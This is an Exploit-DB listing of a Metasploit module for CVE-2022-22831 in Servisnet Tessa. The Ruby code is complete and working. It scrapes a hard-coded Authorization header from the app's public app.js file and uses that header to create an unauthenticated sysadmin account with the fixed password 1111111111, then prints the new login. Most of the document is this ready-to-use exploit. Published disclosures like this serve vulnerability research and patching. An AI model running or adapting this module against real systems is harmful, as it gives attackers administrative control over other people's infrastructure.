Servisnet Tessa – Add sysAdmin User (Unauthenticated) (Metasploit)

• Exploit Database
• 18 阅读

• 作者： AkkuS
  日期： 2022-02-04
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50714/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Servisnet Tessa - Add sysAdmin User (Unauthenticated) (Metasploit)',
  'Description'=> %q(
  This module exploits an authentication bypass in Servisnet Tessa, triggered by add new sysadmin user.
  		The app.js is publicly available which acts as the backend of the application.
  By exposing a default value for the "Authorization" HTTP header, 
  it is possible to make unauthenticated requests to some areas of the application. 
  Even MQTT(Message Queuing Telemetry Transport) protocol connection information can be obtained with this method.
  A new admin user can be added to the database with this header obtained in the source code.		
  
  ),
  'References' =>
  [
  [ 'CVE', 'CVE-2022-22831' ],
  [ 'URL', 'https://www.pentest.com.tr/exploits/Servisnet-Tessa-Add-sysAdmin-User-Unauthenticated.html' ],
  [ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]
  ],
  'Author' =>
  [
  'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
  ],
  'License'=> MSF_LICENSE,
  'DisclosureDate' => "Dec 22 2021",
  'DefaultOptions' =>
  {
  'RPORT' => 443,
  'SSL' => true
  }
  ))
  
  register_options([
  OptString.new('TARGETURI',[true, 'Base path for application', '/'])
  ])
  end
  # split strings to salt
  def split(data, string_to_split)
  word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
  string = word.split('"]').join('').split('["').join('')
  return string
  end 
  # for Origin and Referer headers
  
  def app_path
  res = send_request_cgi({
  # default.a.get( check 
  'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),
  	'method'=> 'GET'
  })	
  	
  if res && res.code == 200 && res.body =~ /baseURL/
  data = res.body
  #word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
  base_url = data.scan(/baseURL: '\/([\S\s]*?)'/)[0]
  print_status("baseURL: #{base_url}")
  return base_url
  else
  fail_with(Failure::NotVulnerable, 'baseURL not found!')
  end
  end
  
  def add_user
   token = auth_bypass
   newuser = Rex::Text.rand_text_alpha_lower(8)	
   id = Rex::Text.rand_text_numeric(4) 
   # encrypted password hxZ8I33nmy9PZNhYhms/Dg== / 1111111111
   json_data = '{"alarm_request": 1, "city_id": null, "city_name": null, "decryptPassword": null, "email": "' + newuser + '@localhost.local", "id": ' + id + ', "invisible": 0, "isactive": 1, "isblocked": 0, "levelstatus": 1, "local_authorization": 1, "mail_request": 1, "name": "' + newuser + '", "password": "hxZ8I33nmy9PZNhYhms/Dg==", "phone": null, "position": null, "region_name": "test4", "regional_id": 0, "role_id": 1, "role_name": "Sistem Admin", "rolelevel": 3, "status": null, "surname": "' + newuser + '", "totalRecords": null, "try_pass_right": 0, "userip": null, "username": "' + newuser + '", "userType": "Lokal Kullanıcı"}'
  
   res = send_request_cgi(
   {
   'method' => 'POST',
   'ctype'=> 'application/json',
   'uri' => normalize_uri(target_uri.path, app_path, 'users'),
   'headers' =>
   {
   'Authorization' => token
   },
   'data' => json_data
  })
  
  if res && res.code == 200 && res.body =~ /localhost/
  print_good("The sysAdmin authorized user has been successfully added.")
  print_status("Username: #{newuser}")
  print_status("Password: 1111111111")
  else
  fail_with(Failure::NotVulnerable, 'An error occurred while adding the user. Try again.')
  end
  end
  
  def auth_bypass
  
  res = send_request_cgi({
  # default.a.defaults.headers.post["Authorization"] check 
  'uri' => normalize_uri(target_uri.path, 'js', 'app.js'),
  	'method'=> 'GET'
  })	
  	
  if res && res.code == 200 && res.body =~ /default.a.defaults.headers.post/
  	token = split(res.body, 'Authorization')
  	print_status("Authorization: #{token}")
  return token
  	else
  	fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
  	end
  
  end
  
  def check 	
  	
  if auth_bypass =~ /Basic/ 
  return Exploit::CheckCode::Vulnerable
  else
  return Exploit::CheckCode::Safe
  end
  end
  
  def run
  unless Exploit::CheckCode::Vulnerable == check
  fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
  end
  add_user
  end
  end